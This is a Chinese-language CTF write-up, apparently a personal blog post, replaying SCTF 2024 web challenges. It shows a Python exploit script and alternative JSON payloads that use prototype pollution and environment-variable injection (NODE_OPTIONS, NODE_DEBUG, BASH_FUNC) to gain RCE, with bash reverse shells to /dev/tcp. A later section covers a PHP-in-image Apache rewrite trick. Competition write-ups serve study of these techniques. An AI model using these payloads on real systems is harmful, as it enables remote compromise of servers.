env 利用 Abusing Environment Variables 
网鼎杯2023线下半决赛突破题Errormsg复现 - VanZY’s Blog 
通过污染 env 和 shell 环境变量来进行 rce。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import  requestsurl = "1.95.87.154:30497"  login_url = "http://"  + url + "/login"  add_report_url = "http://"  + url + "/report"  shell_url = "http://"  + url + "/VanZY_s_T3st"  rs = requests.session() def  login ():    login_json = {         "username" : "admin" ,         "password" : "TL4gor2C+zygSaheIgd0R5Z0F9VKIS6tw0MTW7d+4L8Qv6uYMhxhgmnJdxldA9BiGZ5iTMaQm0dO31rW/lPA6zSRrnmqpFYXY0BQfk6ldK6zZyfdWlYYJYp8UekyldBX1NHSbg2MKJe6/JRKnSLLztZeb3M+4kDR/jp6gLXt4d8=" ,     }     resp = rs.post(login_url, json=login_json)     print (resp.headers['Set-Cookie' ]) def  add_report (jsonp ):    resp = rs.post(add_report_url, json=jsonp) def  get_shell ():    resp = rs.get(shell_url) payload = {     "user" : "__proto__" ,     "date" : "2" ,     "reportmessage" : {         "shell" : "/proc/self/exe" ,         "argv0" : "console.log(require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/7777 0>&1\"').toString());//" ,         "env" : {"NODE_OPTIONS" : "--require /proc/self/cmdline" },     }, } login() add_report(payload) get_shell() 
PS 或者其他的 payload:
1 2 3 4 5 6 7 8 9 10 11 12 {     "user" :"__proto__" ,     "date" :"2" ,     "reportmessage" :{         "shell" :"/readflag" ,         "env" :{             "NODE_DEBUG" :"require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');process.exit();//" ,             "NODE_OPTIONS" :"-r /proc/self/environ"          }     } } 
1 2 3 4 5 6 7 8 9 10 11 {     "user" :"__proto__" ,     "date" :"2" ,     "reportmessage" :{         "shell" :"/bin/bash" ,         "env" :{             "BASH_FUNC_whoami%%" :"() { /readflag;}"          }     } } 
这个说实话原理没太懂,找时间看下吧。
PP2RCE:
Prototype Pollution to RCE | HackTricks 
havefun jpg 内有 php。
1 2 3 4 5 <?php $file  = '/etc/apache2/sites-available/000-default.conf' ;$content  = file_get_contents ($file );echo  htmlspecialchars ($content );?> 
路径规则配置问题。/static/SCTF.jpg/a.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <VirtualHost *:80>     # The ServerName directive sets the request scheme, hostname and port that the server uses to identify itself. This is used when creating redirection URLs. In the context of virtual hosts, the ServerName specifies what hostname must appear in the request's Host: header to match this virtual host. For the default virtual host (this file) this value is not decisive as it is used as a last resort host regardless. However, you must set it for any further virtual host explicitly.     # ServerName www.example.com     ServerAdmin webmaster@localhost     DocumentRoot /var/www/html     PassengerAppRoot /usr/share/redmine     ErrorLog ${APACHE_LOG_DIR}/error.log     CustomLog ${APACHE_LOG_DIR}/access.log combined     <Directory /var/www/html/redmine>         RailsBaseURI /redmine         # PassengerResolveSymlinksInDocumentRoot on     </Directory>     # Available loglevels: trace8,..., trace1, debug, info, notice, warn, error, crit, alert, emerg.     # It is also possible to configure the loglevel for particular modules, e.g.     # LogLevel info ssl:warn     RewriteEngine On     RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]     LogLevel alert rewrite:trace3     RewriteEngine On     RewriteRule ^/profile/(.*)$ /$1.html     # For most configuration files from conf-available/, which are enabled or disabled at a global level, it is possible to include a line for only one particular virtual host. For example the following line enables the CGI configuration for this host only after it has been globally disabled with "a2disconf".     # Include conf-available/serve-cgi-bin.conf </VirtualHost> 
后面看不懂一点。O.o
ezjump 环境没了,没看捏。考点是 SSRF 加 Redis 的主从复制。
Ref SCTF 2024 Writeup 
SCTF 2024 By W&M - W&M Team